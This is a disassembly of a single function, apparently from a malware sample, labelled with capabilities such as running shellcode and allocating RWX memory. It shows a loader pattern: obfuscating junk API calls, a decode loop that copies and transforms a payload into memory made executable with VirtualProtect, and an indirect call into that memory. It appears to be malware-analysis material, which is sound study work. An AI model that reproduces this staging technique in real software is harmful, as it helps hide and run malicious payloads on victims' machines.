Function at 0x4013cb
Capabilities:
Allocate or change rwx memory
Delete directory
Execute shellcode via indirect call
Get common file path
Get disk information
Get geographical location
Move file
Query environment variable

Disassembly:
mov eax, 0x40f340
call fcn.0040f31c
mov eax, 0x187c
call fcn.0040b280
mov ecx, dword [0xb04084]
push ebx
push esi
xor esi, esi
push edi
cmp ecx, 0x93
jne 0x401489
push 0x30
lea eax, [ebp - 0x6c]
mov dword [ebp - 0x70], esi
push esi
push eax
call fcn.00409b00
add esp, 0xc
lea eax, [ebp - 0x70]
push dword [ebp - 0x10]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_SetCommConfig]
push esi
push esi
push esi
push esi
call dword [sym.imp.USER32.dll_DrawCaption]
xor eax, eax
lock bts dword [eax], 0
push esi
lea eax, [ebp - 0x488]
push eax
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.ADVAPI32.dll_ReadEventLogW]
push esi
lea eax, [ebp - 0xc88]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryW]
push esi
call fcn.0040352a
pop ecx
push esi
call fcn.00402626
pop ecx
push esi
call fcn.00403133
movss xmm0, dword [0x4157c8]
pop ecx
cvtps2pd xmm0, xmm0
push esi
push ecx
push ecx
movsd qword [esp], xmm0
call fcn.00402c94
add esp, 0xc
fstp st(0)
call fcn.004025e3
mov eax, dword [0x41bf98]
add ecx, 0x1134b
push ecx
push esi
mov dword [0xb04188], eax
mov dword [0xb04084], ecx
call dword [sym.imp.KERNEL32.dll_GlobalAlloc]
lea ecx, [ebp - 0x24]
mov dword [0xb03fdc], eax
push ecx
push 0x40
push dword [0xb04084]
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov edi, 0x29156e
push esi
lea eax, [ebp - 0x488]
push eax
call dword [sym.imp.USER32.dll_CharUpperBuffA]
dec edi
jne 0x4014c4
mov ecx, dword [0xb04084]
mov ebx, esi
test ecx, ecx
je 0x40157f
mov eax, dword [0xb04188]
mov cl, byte [eax + ebx + 0x1134b]
mov eax, dword [0xb03fdc]
mov byte [eax + ebx], cl
mov ecx, dword [0xb04084]
cmp ecx, 0x490
jne 0x401576
push esi
push esi
call dword [sym.imp.GDI32.dll_SetTextColor]
xor eax, eax
lea edi, [ebp - 0x32]
mov word [ebp - 0x34], ax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosd dword es:[edi], eax
stosw word es:[edi], ax
lea eax, [ebp - 0x34]
push eax
lea eax, [ebp - 0x3c]
push eax
call dword [sym.imp.KERNEL32.dll_FileTimeToSystemTime]
lea eax, [ebp - 0x10]
push eax
push esi
lea eax, [ebp - 0x84]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputA]
push str.Mivewajevigizi_pisiyuxogoxi
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push esi
lea eax, [ebp - 0x1088]
push eax
lea eax, [ebp - 0x1c]
push eax
lea eax, [ebp - 0x14]
push eax
lea eax, [ebp - 0x18]
push eax
push esi
lea eax, [ebp - 0x888]
push eax
push str.Xewenevotator_xofavudetitav_cegedubujan
call dword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov ecx, dword [0xb04084]
inc ebx
cmp ebx, ecx
jb 0x4014e5
mov edi, esi
lea eax, [ecx + edi]
cmp eax, 0x8d
jne 0x401602
push str.pafucehixizubate
call dword [sym.imp.KERNEL32.dll_RemoveDirectoryW]
push esi
lea eax, [ebp - 0x18]
push eax
push esi
lea eax, [ebp - 0x888]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push esi
push esi
call dword [sym.imp.USER32.dll_CharUpperBuffA]
lea eax, [ebp - 0x14]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
push esi
push esi
push esi
push str.Jifohajono_yumozipoyobuzin_pujodiguxufokep_soni_cugimu
push str.Wodixiruy_jenimafamucuje_lamaruhibazag_peri
call dword [sym.imp.KERNEL32.dll_MoveFileWithProgressW]
push esi
lea eax, [ebp - 0x1088]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
push esi
push esi
lea eax, [ebp - 0x1888]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasW]
lea eax, [ebp - 0x488]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_GetCurrentDirectoryA]
mov ecx, dword [0xb04084]
inc edi
cmp edi, 0x38681
jl 0x401581
mov ebx, dword [0xb03fdc]
mov edi, ecx
shr edi, 3
test edi, edi
je 0x40164e
cmp ecx, 0x959
jne 0x401639
push esi
lea eax, [ebp - 0x1888]
push eax
push str.Makinazuja_kafi_deziya_cufumux
call dword [sym.imp.KERNEL32.dll_GetEnvironmentVariableW]
mov ecx, ebx
call fcn.00401207
add ebx, 8
dec edi
je 0x40164e
mov ecx, dword [0xb04084]
jmp 0x40161e
mov edi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp edi, 0x62
jne 0x40166e
mov dword [ebp - 0x10], esi
add dword [ebp - 0x10], 0
mov eax, dword [ebp - 0x10]
add dword [0xb03fdc], eax
inc edi
cmp edi, 0x674db
jl 0x401650
mov eax, esi
cmp dword [0xb04084], 0x86
je 0x4016ad
inc eax
cmp eax, 0x7b
jl 0x401679
push str.msimg32.dll
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0xb03fdc]
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
push esi
push esi
push esi
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateFileW]
push esi
call dword [sym.imp.KERNEL32.dll_GetSystemPowerStatus]
push esi
lea eax, [ebp - 0x20]
push eax
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_WriteConsoleW]
push esi
call dword [sym.imp.KERNEL32.dll_ExitThread]